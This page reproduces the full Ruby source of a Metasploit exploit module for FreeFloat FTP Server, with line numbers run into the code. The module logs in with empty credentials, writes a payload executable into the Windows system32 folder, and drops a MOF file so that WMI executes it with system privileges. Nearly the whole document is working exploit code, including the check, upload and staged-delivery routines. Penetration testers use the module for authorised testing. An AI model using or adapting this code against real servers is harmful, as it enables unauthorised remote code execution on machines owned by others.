Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/freefloatftp_wbem.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::TcpServer10include Msf::Exploit::EXE11include Msf::Exploit::WbemExec12include Msf::Exploit::FileDropper1314def initialize(info={})15super(update_info(info,16'Name' => "FreeFloat FTP Server Arbitrary File Upload",17'Description' => %q{18This module abuses multiple issues in FreeFloat: 1. No credential is actually19needed to login; 2. User's default path is in C:\, and this cannot be changed;203. User can write to anywhere on the server's file system. As a result of these21poor implementations, a malicious user can just log in and then upload files,22and let WMI (Management Instrumentation service) to execute the payload uploaded.23},24'License' => MSF_LICENSE,25'Author' =>26[27'sinn3r', # Vulnerability discovery, Metasploit module28'juan vazquez' # Metasploit module29],30'References' =>31[32['OSVDB', '88302'],33['OSVDB', '88303']34],35'Platform' => 'win',36'Targets' =>37[38['FreeFloat', {}]39],40'Privileged' => true,41'DisclosureDate' => '2012-12-07',42'DefaultTarget' => 0))4344register_options(45[46# Change the default description so this option makes sense47OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])48])4950deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password51end525354def check55connect56disconnect5758if banner =~ /FreeFloat/59return Exploit::CheckCode::Detected60else61return Exploit::CheckCode::Safe62end63end646566def on_client_connect(cli)67peer = "#{cli.peerhost}:#{cli.peerport}"6869case @stage70when :exe71print_status("Sending executable (#{@exe.length.to_s} bytes)")72cli.put(@exe)73@stage = :mof7475when :mof76print_status("Sending MOF (#{@mof.length.to_s} bytes)")77cli.put(@mof)78end7980cli.close81end828384def upload(filename)85select(nil, nil, nil, 1)8687peer = "#{rhost}:#{rport}"88print_status("Trying to upload #{::File.basename(filename)}")8990conn = connect(false, datastore['VERBOSE'])9192print_status("Sending empty login...")9394res = send_user("", conn)95if not res or res !~ /331/96print_error("Error sending username")97return false98end99100res = send_pass("", conn)101if not res or res !~ /230/102print_error("Error sending password")103return false104end105106print_good("Empty authentication was successful")107108# Switch to binary mode109print_status("Set binary mode")110send_cmd(['TYPE', 'I'], true, conn)111112# Prepare active mode: Get attacker's IP and source port113src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']114src_port = datastore['SRVPORT'].to_i115116# Prepare active mode: Convert the IP and port for active mode117src_ip = src_ip.gsub(/\./, ',')118src_port = "#{src_port/256},#{src_port.remainder(256)}"119120# Set to active mode121print_status("Set active mode \"#{src_ip},#{src_port}\"")122send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)123124# Tell the FTP server to download our file125send_cmd(['STOR', filename], false, conn)126127disconnect(conn)128end129130131def exploit132133exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"134mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"135@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))136@exe = generate_payload_exe137@stage = :exe138139begin140t = framework.threads.spawn("reqs", false) {141begin142# Upload our malicious executable143u = upload(exe_name)144# Upload the mof file145upload(mof_name) if u146register_file_for_cleanup("#{::File.basename(exe_name)}")147register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")148rescue ::Exception => e149print_error "Upload Failed: #{e.message}"150cleanup151end152}153super154ensure155t.kill156end157end158end159160161